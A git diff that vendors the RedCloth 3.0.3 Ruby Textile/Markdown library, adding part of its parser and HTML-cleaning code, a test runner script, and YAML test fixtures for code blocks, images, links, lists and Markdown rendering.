+            '<sup><a href="#fn\1">\1</a></sup>\2' )
+    end
+    
+    OFFTAGS = /(code|pre|kbd|notextile)/
+    OFFTAG_MATCH = /(?:(<\/#{ OFFTAGS }>)|(<#{ OFFTAGS }[^>]*>))(.*?)(?=<\/?#{ OFFTAGS }|\Z)/mi
+    OFFTAG_OPEN = /<#{ OFFTAGS }/
+    OFFTAG_CLOSE = /<\/?#{ OFFTAGS }/
+    HASTAG_MATCH = /(<\/?\w[^\n]*?>)/m
+    ALLTAG_MATCH = /(<\/?\w[^\n]*?>)|.*?(?=<\/?\w[^\n]*?>|$)/m
+
+    def inline_textile_glyphs( text, level = 0 )
+        if text !~ HASTAG_MATCH
+            pgl text
+            footnote_ref text
+        else
+            codepre = 0
+            text.gsub!( ALLTAG_MATCH ) do |line|
+                ## matches are off if we're between <code>, <pre> etc.
+                if $1
+                    if line =~ OFFTAG_OPEN
+                        codepre += 1
+                    elsif line =~ OFFTAG_CLOSE
+                        codepre -= 1
+                        codepre = 0 if codepre < 0
+                    end 
+                elsif codepre.zero?
+                    inline_textile_glyphs( line, level + 1 )
+                else
+                    htmlesc( line, :NoQuotes )
+                end
+                ## p [level, codepre, orig_line, line]
+
+                line
+            end
+        end
+    end
+
+    def rip_offtags( text )
+        if text =~ /<.*>/
+            ## strip and encode <pre> content
+            codepre, used_offtags = 0, {}
+            text.gsub!( OFFTAG_MATCH ) do |line|
+                if $3
+                    offtag, aftertag = $4, $5
+                    codepre += 1
+                    used_offtags[offtag] = true
+                    if codepre - used_offtags.length > 0
+                        htmlesc( line, :NoQuotes ) unless used_offtags['notextile']
+                        @pre_list.last << line
+                        line = ""
+                    else
+                        htmlesc( aftertag, :NoQuotes ) if aftertag and not used_offtags['notextile']
+                        line = "<redpre##{ @pre_list.length }>"
+                        @pre_list << "#{ $3 }#{ aftertag }"
+                    end
+                elsif $1 and codepre > 0
+                    if codepre - used_offtags.length > 0
+                        htmlesc( line, :NoQuotes ) unless used_offtags['notextile']
+                        @pre_list.last << line
+                        line = ""
+                    end
+                    codepre -= 1 unless codepre.zero?
+                    used_offtags = {} if codepre.zero?
+                end 
+                line
+            end
+        end
+        text
+    end
+
+    def smooth_offtags( text )
+        unless @pre_list.empty?
+            ## replace <pre> content
+            text.gsub!( /<redpre#(\d+)>/ ) { @pre_list[$1.to_i] }
+        end
+    end
+
+    def inline( text ) 
+        @rules.each do |rule_name|
+            method( rule_name ).call( text ) if rule_name.to_s.match /^inline_/
+        end
+    end
+
+    def h_align( text ) 
+        H_ALGN_VALS[text]
+    end
+
+    def v_align( text ) 
+        V_ALGN_VALS[text]
+    end
+
+    def textile_popup_help( name, windowW, windowH )
+        ' <a target="_blank" href="http://hobix.com/textile/#' + helpvar + '" onclick="window.open(this.href, \'popupwindow\', \'width=' + windowW + ',height=' + windowH + ',scrollbars,resizable\'); return false;">' + name + '</a><br />'
+    end
+
+    # HTML cleansing stuff
+    BASIC_TAGS = {
+        'a' => ['href', 'title'],
+        'img' => ['src', 'alt', 'title'],
+        'br' => [],
+        'i' => nil,
+        'u' => nil, 
+        'b' => nil,
+        'pre' => nil,
+        'kbd' => nil,
+        'code' => ['lang'],
+        'cite' => nil,
+        'strong' => nil,
+        'em' => nil,
+        'ins' => nil,
+        'sup' => nil,
+        'sub' => nil,
+        'del' => nil,
+        'table' => nil,
+        'tr' => nil,
+        'td' => ['colspan', 'rowspan'],
+        'th' => nil,
+        'ol' => nil,
+        'ul' => nil,
+        'li' => nil,
+        'p' => nil,
+        'h1' => nil,
+        'h2' => nil,
+        'h3' => nil,
+        'h4' => nil,
+        'h5' => nil,
+        'h6' => nil, 
+        'blockquote' => ['cite']
+    }
+
+    def clean_html( text, tags = BASIC_TAGS )
+        text.gsub!( /<!\[CDATA\[/, '' )
+        text.gsub!( /<(\/*)(\w+)([^>]*)>/ ) do
+            raw = $~
+            tag = raw[2].downcase
+            if tags.has_key? tag
+                pcs = [tag]
+                tags[tag].each do |prop|
+                    ['"', "'", ''].each do |q|
+                        q2 = ( q != '' ? q : '\s' )
+                        if raw[3] =~ /#{prop}\s*=\s*#{q}([^#{q2}]+)#{q}/i
+                            attrv = $1
+                            next if prop == 'src' and attrv !~ /^http/
+                            pcs << "#{prop}=\"#{$1.gsub('"', '\\"')}\""
+                            break
+                        end
+                    end
+                end if tags[tag]
+                "<#{raw[1]}#{pcs.join " "}>"
+            else
+                " "
+            end
+        end
+    end
+end
+
diff --git a/vendor/RedCloth-3.0.3/run-tests.rb b/vendor/RedCloth-3.0.3/run-tests.rb
new file mode 100644
index 00000000..65b5c969
--- /dev/null
+++ b/vendor/RedCloth-3.0.3/run-tests.rb
@@ -0,0 +1,26 @@
+#!/usr/bin/env ruby
+require 'lib/redcloth'
+require 'yaml'
+
+Dir["tests/*.yml"].each do |testfile|
+    YAML::load_documents( File.open( testfile ) ) do |doc|
+        if doc['in'] and doc['out']
+            red = RedCloth.new( doc['in'] )
+            html = if testfile =~ /markdown/
+                       red.to_html( :markdown )
+                   else
+                       red.to_html
+                   end
+            puts "---"
+
+            html.gsub!( /\n+/, "\n" )
+            doc['out'].gsub!( /\n+/, "\n" )
+            if html == doc['out']
+                puts "success: true"
+            else
+                puts "out: "; p html
+                puts "expected: "; p doc['out']
+            end
+        end
+    end
+end
diff --git a/vendor/RedCloth-3.0.3/tests/code.yml b/vendor/RedCloth-3.0.3/tests/code.yml
new file mode 100644
index 00000000..bc7bd2cc
--- /dev/null
+++ b/vendor/RedCloth-3.0.3/tests/code.yml
@@ -0,0 +1,105 @@
+---
+in: 'This is an empty dictionary: @{}@'
+out: '<p>This is an empty dictionary: <code>{}</code></p>'
+---
+in: |-
+  Testing nested pre tags...
+
+  <pre>
+  <code>
+    Good code here.
+
+    <pre>
+      a = 1
+    </pre>
+
+    Bad code here.
+
+    <script language="JavaScript">
+      window.open( "about:blank" );
+    </script>
+  </code>
+  </pre>
+
+out: |-
+  <p>Testing nested pre tags&#8230;</p>
+  
+
+  <pre>
+  <code>
+    Good code here.
+  
+    &lt;pre&gt;
+      a = 1
+    &lt;/pre&gt;
+  
+    Bad code here.
+  
+    &lt;script language="JavaScript"&gt;
+      window.open( "about:blank" );
+    &lt;/script&gt;
+  </code>
+  </pre>
+---
+in: |-
+  <pre>
+  *** test
+  </pre>
+out: |-
+  <pre>
+  *** test
+  </pre>
+---
+in: |-
+  <notextile>
+  *** test
+  </notextile>
+out: |-
+  *** test
+---
+in: '*this <span></span> is strong*'
+out: '<p><strong>this <span></span> is strong</strong></p>'
+---
+in: '*this <span>test</span> is strong*'
+out: '<p><strong>this <span>test</span> is strong</strong></p>'
+---
+in: <pre class="code"> __inline__</pre>
+out: <pre class="code"> __inline__</pre>
+---
+in: |-
+  * @foo@
+  * @bar@
+  * and @x@ is also.
+out: "<ul>\n\t<li><code>foo</code></li>\n\t\t<li><code>bar</code></li>\n\t\t<li>and <code>x</code> is also.</li>\n\t</ul>"
+---
+in: |-
+  <pre class="code"> <hello> </pre>
+  <pre class="code"> <hello> </pre>
+out: |-
+  <pre class="code"> &lt;hello&gt; </pre>
+  <pre class="code"> &lt;hello&gt; </pre>
+---
+in: |
+  Test of Markdown-style indented code.
+
+    a = [1, 2, 3]
+    a.each do |x|
+      puts "test number", x,
+        "and more!"
+    end
+
+  Paragraph 2.
+
+  Paragraph 3.
+out: |-
+  <p>Test of Markdown-style indented code.</p>
+  
+  	<pre><code>a = [1, 2, 3]
+  a.each do |x|
+    puts "test number", x,
+      "and more!" 
+  end</code></pre>
+  
+  	<p>Paragraph 2.</p>
+  
+  	<p>Paragraph 3.</p>
diff --git a/vendor/RedCloth-3.0.3/tests/images.yml b/vendor/RedCloth-3.0.3/tests/images.yml
new file mode 100644
index 00000000..d097e0fb
--- /dev/null
+++ b/vendor/RedCloth-3.0.3/tests/images.yml
@@ -0,0 +1,171 @@
+---
+in:  This is an !image.jpg!
+out: <p>This is an <img src="image.jpg" alt="" /></p>
+---
+in:  This is an !image.jpg(with alt text)!
+out: <p>This is an <img src="image.jpg" title="with alt text" alt="with alt text" /></p>
+---
+in:  This is an !http://example.com/i/image.jpg!
+out: <p>This is an <img src="http://example.com/i/image.jpg" alt="" /></p>
+---
+in:  This is an !http://example.com/i/image.jpg#a1!
+out: <p>This is an <img src="http://example.com/i/image.jpg#a1" alt="" /></p>
+---
+in:  This is an !image.jpg!.
+out: <p>This is an <img src="image.jpg" alt="" />.</p>
+---
+in:  This is an !image.jpg(with alt text)!.
+out: <p>This is an <img src="image.jpg" title="with alt text" alt="with alt text" />.</p>
+---
+in:  This is an !http://example.com/i/image.jpg!.
+out: <p>This is an <img src="http://example.com/i/image.jpg" alt="" />.</p>
+---
+in:  This is an !http://example.com/i/image.jpg#a1!.
+out: <p>This is an <img src="http://example.com/i/image.jpg#a1" alt="" />.</p>
+---
+in:  This is not an image!!!
+out: <p>This is not an image!!!</p>
+---
+in:  This is an !http://example.com/i/image.jpg!:#1
+out: <p>This is an <a href="#1"><img src="http://example.com/i/image.jpg" alt="" /></a></p>
+---
+in:  This is an !http://example.com/i/image.jpg!:#a
+out: <p>This is an <a href="#a"><img src="http://example.com/i/image.jpg" alt="" /></a></p>
+---
+in:  This is an !http://example.com/i/image.jpg!:#a1
+out: <p>This is an <a href="#a1"><img src="http://example.com/i/image.jpg" alt="" /></a></p>
+---
+in:  This is an !http://example.com/i/image.jpg!:#a10
+out: <p>This is an <a href="#a10"><img src="http://example.com/i/image.jpg" alt="" /></a></p>
+---
+in:  This is an !http://example.com/i/image.jpg!:index.html
+out: <p>This is an <a href="index.html"><img src="http://example.com/i/image.jpg" alt="" /></a></p>
+---
+in:  This is an !http://example.com/i/image.jpg!:index.html#1
+out: <p>This is an <a href="index.html#1"><img src="http://example.com/i/image.jpg" alt="" /></a></p>
+---
+in:  This is an !http://example.com/i/image.jpg!:index.html#a1
+out: <p>This is an <a href="index.html#a1"><img src="http://example.com/i/image.jpg" alt="" /></a></p>
+---
+in:  This is an !http://example.com/i/image.jpg!:index.html#a10
+out: <p>This is an <a href="index.html#a10"><img src="http://example.com/i/image.jpg" alt="" /></a></p>
+---
+in:  This is an !http://example.com/i/image.jpg!:index.html?foo=bar
+out: <p>This is an <a href="index.html?foo=bar"><img src="http://example.com/i/image.jpg" alt="" /></a></p>
+---
+in:  This is an !http://example.com/i/image.jpg!:index.html?foo=bar#1
+out: <p>This is an <a href="index.html?foo=bar#1"><img src="http://example.com/i/image.jpg" alt="" /></a></p>
+---
+in:  This is an !http://example.com/i/image.jpg!:index.html?foo=bar#a
+out: <p>This is an <a href="index.html?foo=bar#a"><img src="http://example.com/i/image.jpg" alt="" /></a></p>
+---
+in:  This is an !http://example.com/i/image.jpg!:index.html?foo=bar#a1
+out: <p>This is an <a href="index.html?foo=bar#a1"><img src="http://example.com/i/image.jpg" alt="" /></a></p>
+---
+in:  This is an !http://example.com/i/image.jpg!:index.html?foo=bar#a10
+out: <p>This is an <a href="index.html?foo=bar#a10"><img src="http://example.com/i/image.jpg" alt="" /></a></p>
+---
+in:  This is an !http://example.com/i/image.jpg!:http://example.com/
+out: <p>This is an <a href="http://example.com/"><img src="http://example.com/i/image.jpg" alt="" /></a></p>
+---
+in:  This is an !http://example.com/i/image.jpg!:http://example.com/#1
+out: <p>This is an <a href="http://example.com/#1"><img src="http://example.com/i/image.jpg" alt="" /></a></p>
+---
+in:  This is an !http://example.com/i/image.jpg!:http://example.com/#a
+out: <p>This is an <a href="http://example.com/#a"><img src="http://example.com/i/image.jpg" alt="" /></a></p>
+---
+in:  This is an !http://example.com/i/image.jpg!:http://example.com/#a1
+out: <p>This is an <a href="http://example.com/#a1"><img src="http://example.com/i/image.jpg" alt="" /></a></p>
+---
+in:  This is an !http://example.com/i/image.jpg!:http://example.com/#a10
+out: <p>This is an <a href="http://example.com/#a10"><img src="http://example.com/i/image.jpg" alt="" /></a></p>
+---
+in:  This is an !http://example.com/i/image.jpg!:http://example.com/index.html
+out: <p>This is an <a href="http://example.com/index.html"><img src="http://example.com/i/image.jpg" alt="" /></a></p>
+---
+in:  This is an !http://example.com/i/image.jpg!:http://example.com/index.html#1
+out: <p>This is an <a href="http://example.com/index.html#1"><img src="http://example.com/i/image.jpg" alt="" /></a></p>
+---
+in:  This is an !http://example.com/i/image.jpg!:http://example.com/index.html#a
+out: <p>This is an <a href="http://example.com/index.html#a"><img src="http://example.com/i/image.jpg" alt="" /></a></p>
+---
+in:  This is an !http://example.com/i/image.jpg!:http://example.com/index.html#a1
+out: <p>This is an <a href="http://example.com/index.html#a1"><img src="http://example.com/i/image.jpg" alt="" /></a></p>
+---
+in:  This is an !http://example.com/i/image.jpg!:http://example.com/index.html#a10
+out: <p>This is an <a href="http://example.com/index.html#a10"><img src="http://example.com/i/image.jpg" alt="" /></a></p>
+---
+in:  This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar
+out: <p>This is an <a href="http://example.com/index.html?foo=bar"><img src="http://example.com/i/image.jpg" alt="" /></a></p>
+---
+in:  This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar#1
+out: <p>This is an <a href="http://example.com/index.html?foo=bar#1"><img src="http://example.com/i/image.jpg" alt="" /></a></p>
+---
+in:  This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar#a
+out: <p>This is an <a href="http://example.com/index.html?foo=bar#a"><img src="http://example.com/i/image.jpg" alt="" /></a></p>
+---
+in:  This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar#a1
+out: <p>This is an <a href="http://example.com/index.html?foo=bar#a1"><img src="http://example.com/i/image.jpg" alt="" /></a></p>
+---
+in:  This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar#a10
+out: <p>This is an <a href="http://example.com/index.html?foo=bar#a10"><img src="http://example.com/i/image.jpg" alt="" /></a></p>
+---
+in:  This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b
+out: <p>This is an <a href="http://example.com/index.html?foo=bar&#38;a=b"><img src="http://example.com/i/image.jpg" alt="" /></a></p>
+---
+in:  This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#1
+out: <p>This is an <a href="http://example.com/index.html?foo=bar&#38;a=b#1"><img src="http://example.com/i/image.jpg" alt="" /></a></p>
+---
+in:  This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a
+out: <p>This is an <a href="http://example.com/index.html?foo=bar&#38;a=b#a"><img src="http://example.com/i/image.jpg" alt="" /></a></p>
+---
+in:  This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a1
+out: <p>This is an <a href="http://example.com/index.html?foo=bar&#38;a=b#a1"><img src="http://example.com/i/image.jpg" alt="" /></a></p>
+---
+in:  This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a10
+out: <p>This is an <a href="http://example.com/index.html?foo=bar&#38;a=b#a10"><img src="http://example.com/i/image.jpg" alt="" /></a></p>
+---
+in:  This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b.
+out: <p>This is an <a href="http://example.com/index.html?foo=bar&#38;a=b"><img src="http://example.com/i/image.jpg" alt="" /></a>.</p>
+---
+in:  This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#1.
+out: <p>This is an <a href="http://example.com/index.html?foo=bar&#38;a=b#1"><img src="http://example.com/i/image.jpg" alt="" /></a>.</p>
+---
+in:  This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a.
+out: <p>This is an <a href="http://example.com/index.html?foo=bar&#38;a=b#a"><img src="http://example.com/i/image.jpg" alt="" /></a>.</p>
+---
+in:  This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a1.
+out: <p>This is an <a href="http://example.com/index.html?foo=bar&#38;a=b#a1"><img src="http://example.com/i/image.jpg" alt="" /></a>.</p>
+---
+in:  This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a10.
+out: <p>This is an <a href="http://example.com/index.html?foo=bar&#38;a=b#a10"><img src="http://example.com/i/image.jpg" alt="" /></a>.</p>
+---
+in:  This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b, but this is not.
+out: <p>This is an <a href="http://example.com/index.html?foo=bar&#38;a=b"><img src="http://example.com/i/image.jpg" alt="" /></a>, but this is not.</p>
+---
+in:  This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#1, but this is not.
+out: <p>This is an <a href="http://example.com/index.html?foo=bar&#38;a=b#1"><img src="http://example.com/i/image.jpg" alt="" /></a>, but this is not.</p>
+---
+in:  This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a, but this is not.
+out: <p>This is an <a href="http://example.com/index.html?foo=bar&#38;a=b#a"><img src="http://example.com/i/image.jpg" alt="" /></a>, but this is not.</p>
+---
+in:  This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a1, but this is not.
+out: <p>This is an <a href="http://example.com/index.html?foo=bar&#38;a=b#a1"><img src="http://example.com/i/image.jpg" alt="" /></a>, but this is not.</p>
+---
+in:  (This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a10)  This is not.
+out: <p>(This is an <a href="http://example.com/index.html?foo=bar&#38;a=b#a10"><img src="http://example.com/i/image.jpg" alt="" /></a>)  This is not.</p>
+---
+in:  (This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b)  This is not.
+out: <p>(This is an <a href="http://example.com/index.html?foo=bar&#38;a=b"><img src="http://example.com/i/image.jpg" alt="" /></a>)  This is not.</p>
+---
+in:  (This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#1)  This is not.
+out: <p>(This is an <a href="http://example.com/index.html?foo=bar&#38;a=b#1"><img src="http://example.com/i/image.jpg" alt="" /></a>)  This is not.</p>
+---
+in:  (This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a)  This is not.
+out: <p>(This is an <a href="http://example.com/index.html?foo=bar&#38;a=b#a"><img src="http://example.com/i/image.jpg" alt="" /></a>)  This is not.</p>
+---
+in:  (This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a1)  This is not.
+out: <p>(This is an <a href="http://example.com/index.html?foo=bar&#38;a=b#a1"><img src="http://example.com/i/image.jpg" alt="" /></a>)  This is not.</p>
+---
+in:  (This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a10)  This is not.
+out: <p>(This is an <a href="http://example.com/index.html?foo=bar&#38;a=b#a10"><img src="http://example.com/i/image.jpg" alt="" /></a>)  This is not.</p>
diff --git a/vendor/RedCloth-3.0.3/tests/instiki.yml b/vendor/RedCloth-3.0.3/tests/instiki.yml
new file mode 100644
index 00000000..89b8ec6b
--- /dev/null
+++ b/vendor/RedCloth-3.0.3/tests/instiki.yml
@@ -0,0 +1,39 @@
+--- # Bugs filed at http://www.instiki.org/show/BugReports
+in: |-
+  _Hi, <span class="newWikiWord">Joe Bob<a href="../show/JoeBob">?</a></span>, this should all be in italic!_
+out: |-
+  <p><em>Hi, <span class="newWikiWord">Joe Bob<a href="../show/JoeBob">?</a></span>, this should all be in italic!</em></p>
+---
+in: '*this <span>span</span> is strong*'
+out: '<p><strong>this <span>span</span> is strong</strong></p>'
+---
+in: '*this <span>Camel Thing<a href="../show/CamelThing">?</a></span> is strong*'
+out: '<p><strong>this <span>Camel Thing<a href="../show/CamelThing">?</a></span> is strong</strong></p>'
+---
+in: '_this <span>span</span> is italic_'
+out: '<p><em>this <span>span</span> is italic</em></p>'
+---
+in: '%{color:red}nested span because of <span><span class="newWikiWord">Camel Word<a href="../show/CamelWord">?</a></span></span>%'
+out: '<p><span style="color:red;">nested span because of <span><span class="newWikiWord">Camel Word<a href="../show/CamelWord">?</a></span></span></span></p>'
+---
+in: |-
+  h2. Version History
+
+  * "Version
+  0.0":http://www.threewordslong.com/render-0-8-9b.patch - Early version using MD5 hashes.
+  * "Version
+  0.1":http://www.threewordslong.com/chunk-0-1.patch.gz - First cut of new system. Much cleaner.
+  * "Version 0.2":http://www.threewordslong.com/chunk-0-2.patch.gz - Fixed problem with "authors" page and some tests.
+out: |-
+  <h2>Version History</h2>
+
+  	<ul>
+  	<li><a href="http://www.threewordslong.com/render-0-8-9b.patch">Version
+  0.0</a> &#8211; Early version using <span class="caps">MD5</span> hashes.</li>
+  		<li><a href="http://www.threewordslong.com/chunk-0-1.patch.gz">Version
+  0.1</a> &#8211; First cut of new system. Much cleaner.</li>
+  		<li><a href="http://www.threewordslong.com/chunk-0-2.patch.gz">Version 0.2</a> &#8211; Fixed problem with &#8220;authors&#8221; page and some tests.</li>
+  	</ul>
+---
+in: "--richSeymour --whyTheLuckyStiff"
+out: "<p>&#8212;richSeymour&#8212;whyTheLuckyStiff</p>"
diff --git a/vendor/RedCloth-3.0.3/tests/links.yml b/vendor/RedCloth-3.0.3/tests/links.yml
new file mode 100644
index 00000000..16b63331
--- /dev/null
+++ b/vendor/RedCloth-3.0.3/tests/links.yml
@@ -0,0 +1,155 @@
+---
+in: '"link text":#1'
+out: <p><a href="#1">link text</a></p>
+---
+in: '"link text":#a'
+out: <p><a href="#a">link text</a></p>
+---
+in: '"link text":#a1'
+out: <p><a href="#a1">link text</a></p>
+---
+in: '"link text":#a10'
+out: <p><a href="#a10">link text</a></p>
+---
+in: '"link text":index.html'
+out: <p><a href="index.html">link text</a></p>
+---
+in: '"link text":index.html#1'
+out: <p><a href="index.html#1">link text</a></p>
+---
+in: '"link text":index.html#a'
+out: <p><a href="index.html#a">link text</a></p>
+---
+in: '"link text":index.html#a1'
+out: <p><a href="index.html#a1">link text</a></p>
+---
+in: '"link text":index.html#a10'
+out: <p><a href="index.html#a10">link text</a></p>
+---
+in: '"link text":http://example.com/'
+out: <p><a href="http://example.com/">link text</a></p>
+---
+in: '"link text":http://example.com/#1'
+out: <p><a href="http://example.com/#1">link text</a></p>
+---
+in: '"link text":http://example.com/#a'
+out: <p><a href="http://example.com/#a">link text</a></p>
+---
+in: '"link text":http://example.com/#a1'
+out: <p><a href="http://example.com/#a1">link text</a></p>
+---
+in: '"link text":http://example.com/#a10'
+out: <p><a href="http://example.com/#a10">link text</a></p>
+---
+in: '"link text":http://example.com/index.html'
+out: <p><a href="http://example.com/index.html">link text</a></p>
+---
+in: '"link text":http://example.com/index.html#a'
+out: <p><a href="http://example.com/index.html#a">link text</a></p>
+---
+in: '"link text":http://example.com/index.html#1'
+out: <p><a href="http://example.com/index.html#1">link text</a></p>
+---
+in: '"link text":http://example.com/index.html#a1'
+out: <p><a href="http://example.com/index.html#a1">link text</a></p>
+---
+in: '"link text":http://example.com/index.html#a10'
+out: <p><a href="http://example.com/index.html#a10">link text</a></p>
+---
+in: '"link text":http://example.com/?foo=bar'
+out: <p><a href="http://example.com/?foo=bar">link text</a></p>
+---
+in: '"link text":http://example.com/?foo=bar#a'
+out: <p><a href="http://example.com/?foo=bar#a">link text</a></p>
+---
+in: '"link text":http://example.com/?foo=bar#1'
+out: <p><a href="http://example.com/?foo=bar#1">link text</a></p>
+---
+in: '"link text":http://example.com/?foo=bar#a1'
+out: <p><a href="http://example.com/?foo=bar#a1">link text</a></p>
+---
+in: '"link text":http://example.com/?foo=bar#a10'
+out: <p><a href="http://example.com/?foo=bar#a10">link text</a></p>
+---
+in: '"link text":http://example.com/?foo=bar&a=b'
+out: <p><a href="http://example.com/?foo=bar&#38;a=b">link text</a></p>
+---
+in: '"link text":http://example.com/?foo=bar&a=b#1'
+out: <p><a href="http://example.com/?foo=bar&#38;a=b#1">link text</a></p>
+---
+in: '"link text":http://example.com/?foo=bar&a=b#a'
+out: <p><a href="http://example.com/?foo=bar&#38;a=b#a">link text</a></p>
+---
+in: '"link text":http://example.com/?foo=bar&a=b#a1'
+out: <p><a href="http://example.com/?foo=bar&#38;a=b#a1">link text</a></p>
+---
+in: '"link text":http://example.com/?foo=bar&a=b#a10'
+out: <p><a href="http://example.com/?foo=bar&#38;a=b#a10">link text</a></p>
+---
+in: 'This is a "link":http://example.com/'
+out: <p>This is a <a href="http://example.com/">link</a></p>
+---
+in: 'This is a "link":http://example.com/.'
+out: <p>This is a <a href="http://example.com/">link</a>.</p>
+---
+in: 'This is a "link":http://example.com/index.html.'
+out: <p>This is a <a href="http://example.com/index.html">link</a>.</p>
+---
+in: 'This is a "link":http://example.com/index.html#a.'
+out: <p>This is a <a href="http://example.com/index.html#a">link</a>.</p>
+---
+in: 'This is a "link":http://example.com/index.html#1.'
+out: <p>This is a <a href="http://example.com/index.html#1">link</a>.</p>
+---
+in: 'This is a "link":http://example.com/index.html#a1.'
+out: <p>This is a <a href="http://example.com/index.html#a1">link</a>.</p>
+---
+in: 'This is a "link":http://example.com/index.html#a10.'
+out: <p>This is a <a href="http://example.com/index.html#a10">link</a>.</p>
+---
+in: 'This is a "link":http://example.com/?foo=bar.'
+out: <p>This is a <a href="http://example.com/?foo=bar">link</a>.</p>
+---
+in: 'This is a "link":http://example.com/?foo=bar#1.'
+out: <p>This is a <a href="http://example.com/?foo=bar#1">link</a>.</p>
+---
+in: 'This is a "link":http://example.com/?foo=bar#a.'
+out: <p>This is a <a href="http://example.com/?foo=bar#a">link</a>.</p>
+---
+in: 'This is a "link":http://example.com/?foo=bar#a1.'
+out: <p>This is a <a href="http://example.com/?foo=bar#a1">link</a>.</p>
+---
+in: 'This is a "link":http://example.com/?foo=bar#a10.'
+out: <p>This is a <a href="http://example.com/?foo=bar#a10">link</a>.</p>
+---
+in: 'This is a "link":http://example.com/?foo=bar#a10, but this is not.'
+out: <p>This is a <a href="http://example.com/?foo=bar#a10">link</a>, but this is not.</p>
+---
+in: '(This is a "link":http://example.com/?foo=bar#a10) but this is not.'
+out: <p>(This is a <a href="http://example.com/?foo=bar#a10">link</a>) but this is not.</p>
+---
+in: '"link text(link title)":http://example.com/'
+out: <p><a href="http://example.com/" title="link title">link text</a></p>
+# ---
+# in: '"link text(link title) ":http://example.com/'
+# out: <p>&#8220;link text(link title) &#8220;:http://example.com/</p>
+# comments: this is a real test and should pass
+---
+in: '"(link) text(link title)":http://example.com/'
+out: <p><a href="http://example.com/" class="link" title="link title"> text</a></p>
+comments: link text can not contain parentheses
+---
+in: '"Dive Into XML":http://www.xml.com/pub/au/164'
+out: <p><a href="http://www.xml.com/pub/au/164">Dive Into <span class="caps">XML</span></a></p>
+---
+in: '"Lab Exercises":../lab/exercises/exercises.html.'
+out: <p><a href="../lab/exercises/exercises.html">Lab Exercises</a>.</p>
+---
+in: 'Go to "discuss":http://www.dreammoods.com/cgibin/cutecast/cutecast.pl?forum=1&thread=26627 to discuss.'
+out: <p>Go to <a href="http://www.dreammoods.com/cgibin/cutecast/cutecast.pl?forum=1&#38;thread=26627">discuss</a> to discuss.</p>
+---
+in: '* "rubylang":http://www.ruby-lang.org/en/'
+out: "<ul>\n\t<li><a href=\"http://www.ruby-lang.org/en/\">rubylang</a></li>\n\t</ul>"
+---
+in: 'The ION coding style document found at "IONCodingStyleGuide.doc":http://perforce:8081/@md=d&cd=//&c=82E@//depot/systest/system/main/pub/doc/IONCodingStyleGuide.doc?ac=22 codifies a couple of rules to ensure reasonably consistent code and documentation of libraries in ION. Test text'
+out: <p>The <span class="caps">ION</span> coding style document found at <a href="http://perforce:8081/@md=d&#38;cd=//&#38;c=82E@//depot/systest/system/main/pub/doc/IONCodingStyleGuide.doc?ac=22">IONCodingStyleGuide.doc</a> codifies a couple of rules to ensure reasonably consistent code and documentation of libraries in <span class="caps">ION</span>. Test text</p>
diff --git a/vendor/RedCloth-3.0.3/tests/lists.yml b/vendor/RedCloth-3.0.3/tests/lists.yml
new file mode 100644
index 00000000..cf8938f0
--- /dev/null
+++ b/vendor/RedCloth-3.0.3/tests/lists.yml
@@ -0,0 +1,77 @@
+--- # Bret Pettichord, Thanks.
+in: |-
+  * first line
+  * second
+    line
+  * third line
+out: |-
+  <ul>
+  	<li>first line</li>
+  		<li>second
+    line</li>
+  		<li>third line</li>
+  	</ul>
+---
+in: |-
+  p. start
+
+  * one
+  and one
+  * two
+  and two
+  * three
+
+  p. end
+out: |-
+  <p>start</p>
+  	<ul>
+  	<li>one
+  and one</li>
+  		<li>two
+  and two</li>
+  		<li>three</li>
+  	</ul>
+  
+  	<p>end</p>
+---
+in: |-
+  Funky:
+
+  * Testing
+  *# number
+  *##* bullet
+  *# number
+  *# number
+  yeah number
+  #* bullet
+  *** okay
+  ****# what
+
+
+out: |-
+  <p>Funky:</p>
+  	<ul>
+  	<li>Testing
+  	<ol>
+  	<li>number
+  	<ul>
+  	<li>bullet</li>
+  	</ul>
+  	</li>
+  		<li>number</li>
+  		<li>number
+  yeah number</li>
+  	<ul>
+  	<li>bullet
+  	<ul>
+  	<li>okay
+  	<ol>
+  	<li>what</li>
+  	</ul></li>
+  	</ol></li>
+  	</ul></li>
+  	</ul></li>
+  	</ol>
+---
+in: "* command run: @time ruby run-tests.rb > toto@"
+out: "<ul>\n\t<li>command run: <code>time ruby run-tests.rb &gt; toto</code></li>\n\t</ul>"
diff --git a/vendor/RedCloth-3.0.3/tests/markdown.yml b/vendor/RedCloth-3.0.3/tests/markdown.yml
new file mode 100644
index 00000000..a053ea39
--- /dev/null
+++ b/vendor/RedCloth-3.0.3/tests/markdown.yml
@@ -0,0 +1,218 @@
+in: |
+  This is a regular paragraph.
+
+  <table>
+      <tr>
+          <td>Foo</td>
+      </tr>
+  </table>
+  
+  This is another regular paragraph.
+out: |-
+  <p>This is a regular paragraph.</p>
+
+
+  <table>
+      <tr>
+          <td>Foo</td>
+      </tr>
+  </table>
